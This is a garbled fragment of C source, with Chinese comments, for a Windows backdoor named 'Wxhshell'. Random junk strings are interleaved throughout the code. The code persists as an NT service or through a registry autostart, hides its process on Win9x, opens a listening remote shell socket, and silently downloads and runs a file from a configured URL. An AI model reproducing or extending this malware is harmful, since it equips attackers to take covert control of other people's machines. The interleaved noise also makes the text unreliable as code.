H^ CloseHandle(hProcess); ibl^A= }H?8~S= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O4@Ki4f3A% if(hProcess==NULL) return 0; { Y|h;@j$ oB-&ma[ZS HMODULE hMod; 9;&2LT7z char procName[255]; R)I 8 ) unsigned long cbNeeded; X8ev uN 82~UI'f \ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m`g%\o^6i #KXaz Zu" CloseHandle(hProcess); Y6`9:97 r9uY?M if(strstr(procName,"services")) return 1; // 以服务启动 .i"v([eQ % rdW: return 0; // 注册表启动 ^OI } -fj;9('YJ vYL{5,t {1 // 主模块 @~ N:F~ int StartWxhshell(LPSTR lpCmdLine) oZ& ns!# { J@oGAa%3) SOCKET wsl; //JF$o=)D BOOL val=TRUE; fg8V6FS int port=0; 6^wg'u]c struct sockaddr_in door; la8se=^ ci+Pg9sS if(wscfg.ws_autoins) Install(); Q0gO1T _R1UEE3M port=atoi(lpCmdLine); ,vrdtL `V w9j,G if(port<=0) port=wscfg.ws_port; 3rZFN^ Fw+JhIVP WSADATA data; hAOXOj1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V(L~t=k$ k!xi
(l<C if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zek\AQN setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,4NvD2Y door.sin_family = AF_INET; ba%[! door.sin_addr.s_addr = inet_addr("127.0.0.1"); L:`|lc=^ door.sin_port = htons(port); 6[69|& 394u']M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ufv{6"sH closesocket(wsl); NRcg~Nu return 1; 6vX+-f } 6O"Vy 'M_8U0k if(listen(wsl,2) == INVALID_SOCKET) { <eO 7b6_ closesocket(wsl); F@ZG| &
return 1; a,d\<mx } Ki^m&P Wxhshell(wsl); wC{=o`v WSACleanup(); nv{ou[vQ L -b~# return 0; u,PrEmy- CUnZ}@?d } H5, {Z =V"ags // 以NT服务方式启动 L
FHyiIO VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @IB8(TZ5I { "3Dvc7V DWORD status = 0; VDPqI+z DWORD specificError = 0xfffffff; k5w+{iOh ? Q.Y serviceStatus.dwServiceType = SERVICE_WIN32; CLQ \Is^] serviceStatus.dwCurrentState = SERVICE_START_PENDING; Yl&eeM serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5>j,P serviceStatus.dwWin32ExitCode = 0; nkS6A}i3o serviceStatus.dwServiceSpecificExitCode = 0; 3dcZ1Yrn serviceStatus.dwCheckPoint = 0; 5`^"<wNI serviceStatus.dwWaitHint = 0; ,$}P<WZMu ,G"?fQ7z R hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m]Z+u e if (hServiceStatusHandle==0) return; &'WgBjP -hQ=0h~\B. status = GetLastError(); 7vNS@[8 if (status!=NO_ERROR) T(a*d7 { g|"z'_ serviceStatus.dwCurrentState = SERVICE_STOPPED; ) OZDq]mV serviceStatus.dwCheckPoint = 0; p J+>qy5 serviceStatus.dwWaitHint = 0; A7VF
>{L./ serviceStatus.dwWin32ExitCode = status; T >g1!
-^ serviceStatus.dwServiceSpecificExitCode = specificError; %T}{rU~X SetServiceStatus(hServiceStatusHandle, &serviceStatus); BR*""/3` return; eP&K]# } ; y=w :r\A y|.wL=; serviceStatus.dwCurrentState = SERVICE_RUNNING; .NCQiQ serviceStatus.dwCheckPoint = 0; aZ5qq+1x serviceStatus.dwWaitHint = 0; EQ?4? if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E4}MvV= } 4d!&.Qo9 Z6K9E=%)c // 处理NT服务事件,比如:启动、停止 E IEwrC VOID WINAPI NTServiceHandler(DWORD fdwControl) {4}Sl^kn* { V *S|Qy!p switch(fdwControl) |8`}yRsQ { [DGq{(O case SERVICE_CONTROL_STOP: A"vI6ud> serviceStatus.dwWin32ExitCode = 0; -
CM;sXq serviceStatus.dwCurrentState = SERVICE_STOPPED; WVy"MD serviceStatus.dwCheckPoint = 0; N%y%)MI 8 serviceStatus.dwWaitHint = 0; x ~Se-#$ { 4z#CkT SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?B@hCd) } 9tl Fbu return; n0!S;HH- case SERVICE_CONTROL_PAUSE: ai#EFo+# serviceStatus.dwCurrentState = SERVICE_PAUSED; `'0opoQRe break; Y)BKRS~ case SERVICE_CONTROL_CONTINUE: 5kC#uk serviceStatus.dwCurrentState = SERVICE_RUNNING; +8Peh9" break; 0AR4/5. case SERVICE_CONTROL_INTERROGATE: 5Tn4iyg;B break; !RiPr(m@y }; :".!6~:2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); MAJvjgd.. } h2=zvD; Qksw+ZjY#{ // 标准应用程序主函数 %{zM> le9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8y|(]5
'r { fQOaTsyA m6lNZb] // 获取操作系统版本 JC>}(yQA OsIsNt=GetOsVer(); 1;? L:A GetModuleFileName(NULL,ExeFile,MAX_PATH); I*K^,XY+ r)+dK}xl // 从命令行安装 E+E5`-V if(strpbrk(lpCmdLine,"iI")) Install(); sUj#:X f8[2$i*cL // 下载执行文件 Plm3vk= if(wscfg.ws_downexe) { |7|mnOBdDf if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %*eZoLDg] WinExec(wscfg.ws_filenam,SW_HIDE); dN\pe@#lKP } $PrzJc hH@018+ if(!OsIsNt) { 2"BlV*\lS // 如果时win9x,隐藏进程并且设置为注册表启动 yv$MQ~] HideProc(); Hsp|<;Yg StartWxhshell(lpCmdLine); Qf=%%5+?8 } jLb3{}0 else >z[d~ if(StartFromService()) tvFJ^5 // 以服务方式启动 T,WWQm StartServiceCtrlDispatcher(DispatchTable); ?W.Y
x7c else xl# j_d, // 普通方式启动 KVQZ StartWxhshell(lpCmdLine); _r^&.'q }d6g{` return 0; )>TA|W]@ }
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